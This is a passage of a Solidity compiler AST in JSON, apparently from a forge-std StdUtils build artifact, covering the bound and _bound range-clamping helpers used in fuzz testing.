pe":"BinaryOperation","operator":"-","rightExpression":{"id":11269,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2132:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2126:9:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":11271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2138:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"2126:13:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2111:28:11"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":11280,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11276,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11274,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2329:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"33","id":11275,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2334:1:11","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"src":"2329:6:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11277,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11267,"src":"2339:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":11278,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2346:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2339:8:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2329:18:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11285,"nodeType":"IfStatement","src":"2325:38:11","trueBody":{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11283,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11281,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2356:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":11282,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2362:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2356:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11248,"id":11284,"nodeType":"Return","src":"2349:14:11"}},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":11296,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11286,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2377:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11289,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"id":11287,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11235,"src":"2382:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"33","id":11288,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2396:1:11","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"src":"2382:15:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2377:20:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11295,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11291,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11267,"src":"2401:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11292,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11235,"src":"2408:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11293,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2422:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2408:15:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2401:22:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2377:46:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11304,"nodeType":"IfStatement","src":"2373:82:11","trueBody":{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11302,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11297,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2432:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11300,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11298,"name":"UINT256_MAX","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11235,"src":"2439:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11299,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2453:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2439:15:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":11301,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2438:17:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2432:23:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11248,"id":11303,"nodeType":"Return","src":"2425:30:11"}},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11307,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11305,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2555:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":11306,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2559:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2555:7:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11335,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2734:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":11336,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2738:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2734:7:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11365,"nodeType":"IfStatement","src":"2730:173:11","trueBody":{"id":11364,"nodeType":"Block","src":"2743:160:11","statements":[{"assignments":[11339],"declarations":[{"constant":false,"id":11339,"mutability":"mutable","name":"diff","nameLocation":"2765:4:11","nodeType":"VariableDeclaration","scope":11364,"src":"2757:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11338,"name":"uint256","nodeType":"ElementaryTypeName","src":"2757:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11343,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11342,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11340,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2772:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11341,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2778:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2772:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2757:22:11"},{"assignments":[11345],"declarations":[{"constant":false,"id":11345,"mutability":"mutable","name":"rem","nameLocation":"2801:3:11","nodeType":"VariableDeclaration","scope":11364,"src":"2793:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11344,"name":"uint256","nodeType":"ElementaryTypeName","src":"2793:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11349,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11348,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11346,"name":"diff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11339,"src":"2807:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"id":11347,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11267,"src":"2814:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2807:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2793:25:11"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11352,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11350,"name":"rem","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11345,"src":"2836:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":11351,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2843:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2836:8:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11355,"nodeType":"IfStatement","src":"2832:24:11","trueBody":{"expression":{"id":11353,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2853:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11248,"id":11354,"nodeType":"Return","src":"2846:10:11"}},{"expression":{"id":11362,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11356,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11247,"src":"2870:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11361,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11359,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11357,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2879:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11358,"name":"rem","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11345,"src":"2885:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2879:9:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"31","id":11360,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2891:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"2879:13:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2870:22:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11363,"nodeType":"ExpressionStatement","src":"2870:22:11"}]}},"id":11366,"nodeType":"IfStatement","src":"2551:352:11","trueBody":{"id":11334,"nodeType":"Block","src":"2564:160:11","statements":[{"assignments":[11309],"declarations":[{"constant":false,"id":11309,"mutability":"mutable","name":"diff","nameLocation":"2586:4:11","nodeType":"VariableDeclaration","scope":11334,"src":"2578:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11308,"name":"uint256","nodeType":"ElementaryTypeName","src":"2578:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11313,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11310,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2593:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":11311,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2597:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2593:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2578:22:11"},{"assignments":[11315],"declarations":[{"constant":false,"id":11315,"mutability":"mutable","name":"rem","nameLocation":"2622:3:11","nodeType":"VariableDeclaration","scope":11334,"src":"2614:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11314,"name":"uint256","nodeType":"ElementaryTypeName","src":"2614:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11319,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11316,"name":"diff","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11309,"src":"2628:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"id":11317,"name":"size","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11267,"src":"2635:4:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2628:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2614:25:11"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11320,"name":"rem","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11315,"src":"2657:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":11321,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2664:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2657:8:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11325,"nodeType":"IfStatement","src":"2653:24:11","trueBody":{"expression":{"id":11323,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2674:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11248,"id":11324,"nodeType":"Return","src":"2667:10:11"}},{"expression":{"id":11332,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11326,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11247,"src":"2691:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11331,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11327,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2700:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":11328,"name":"rem","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11315,"src":"2706:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2700:9:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":11330,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2712:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"2700:13:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2691:22:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11333,"nodeType":"ExpressionStatement","src":"2691:22:11"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"_bound","nameLocation":"1655:6:11","parameters":{"id":11245,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11240,"mutability":"mutable","name":"x","nameLocation":"1670:1:11","nodeType":"VariableDeclaration","scope":11368,"src":"1662:9:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11239,"name":"uint256","nodeType":"ElementaryTypeName","src":"1662:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":11242,"mutability":"mutable","name":"min","nameLocation":"1681:3:11","nodeType":"VariableDeclaration","scope":11368,"src":"1673:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11241,"name":"uint256","nodeType":"ElementaryTypeName","src":"1673:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":11244,"mutability":"mutable","name":"max","nameLocation":"1694:3:11","nodeType":"VariableDeclaration","scope":11368,"src":"1686:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11243,"name":"uint256","nodeType":"ElementaryTypeName","src":"1686:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1661:37:11"},"returnParameters":{"id":11248,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11247,"mutability":"mutable","name":"result","nameLocation":"1738:6:11","nodeType":"VariableDeclaration","scope":11368,"src":"1730:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11246,"name":"uint256","nodeType":"ElementaryTypeName","src":"1730:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1729:16:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11393,"nodeType":"FunctionDefinition","src":"2915:199:11","nodes":[],"body":{"id":11392,"nodeType":"Block","src":"3014:100:11","nodes":[],"statements":[{"expression":{"id":11385,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11379,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11377,"src":"3024:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":11381,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11370,"src":"3040:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":11382,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11372,"src":"3043:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":11383,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11374,"src":"3048:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11380,"name":"_bound","nodeType":"Identifier","overloadedDeclarations":[11368,11515],"referencedDeclaration":11368,"src":"3033:6:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256,uint256) pure returns (uint256)"}},"id":11384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3033:19:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3024:28:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11386,"nodeType":"ExpressionStatement","src":"3024:28:11"},{"expression":{"arguments":[{"hexValue":"426f756e6420526573756c74","id":11388,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3084:14:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_237b64d156191d73cf174e4433495e27feb7a7083e87d06235be591548fb5c52","typeString":"literal_string \"Bound Result\""},"value":"Bound Result"},{"id":11389,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11377,"src":"3100:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_237b64d156191d73cf174e4433495e27feb7a7083e87d06235be591548fb5c52","typeString":"literal_string \"Bound Result\""},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11387,"name":"console2_log_StdUtils","nodeType":"Identifier","overloadedDeclarations":[11940,11957,11974],"referencedDeclaration":11957,"src":"3062:21:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_uint256_$returns$__$","typeString":"function (string memory,uint256) pure"}},"id":11390,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3062:45:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11391,"nodeType":"ExpressionStatement","src":"3062:45:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bound","nameLocation":"2924:5:11","parameters":{"id":11375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11370,"mutability":"mutable","name":"x","nameLocation":"2938:1:11","nodeType":"VariableDeclaration","scope":11393,"src":"2930:9:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11369,"name":"uint256","nodeType":"ElementaryTypeName","src":"2930:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":11372,"mutability":"mutable","name":"min","nameLocation":"2949:3:11","nodeType":"VariableDeclaration","scope":11393,"src":"2941:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11371,"name":"uint256","nodeType":"ElementaryTypeName","src":"2941:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":11374,"mutability":"mutable","name":"max","nameLocation":"2962:3:11","nodeType":"VariableDeclaration","scope":11393,"src":"2954:11:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11373,"name":"uint256","nodeType":"ElementaryTypeName","src":"2954:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2929:37:11"},"returnParameters":{"id":11378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11377,"mutability":"mutable","name":"result","nameLocation":"3006:6:11","nodeType":"VariableDeclaration","scope":11393,"src":"2998:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11376,"name":"uint256","nodeType":"ElementaryTypeName","src":"2998:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2997:16:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11515,"nodeType":"FunctionDefinition","src":"3120:1145:11","nodes":[],"body":{"id":11514,"nodeType":"Block","src":"3216:1049:11","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_int256","typeString":"int256"},"id":11407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11405,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11397,"src":"3234:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":11406,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11399,"src":"3241:3:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"src":"3234:10:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5374645574696c7320626f756e6428696e743235362c696e743235362c696e74323536293a204d6178206973206c657373207468616e206d696e2e","id":11408,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3246:61:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_0fd736be0f0596d130ab62399a2ecc4855db1de6a3b01be590df45aa0de73247","typeString":"literal_string \"StdUtils bound(int256,int256,int256): Max is less than min.\""},"value":"StdUtils bound(int256,int256,int256): Max is less than min."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_0fd736be0f0596d130ab62399a2ecc4855db1de6a3b01be590df45aa0de73247","typeString":"literal_string \"StdUtils bound(int256,int256,int256): Max is less than min.\""}],"id":11404,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3226:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) 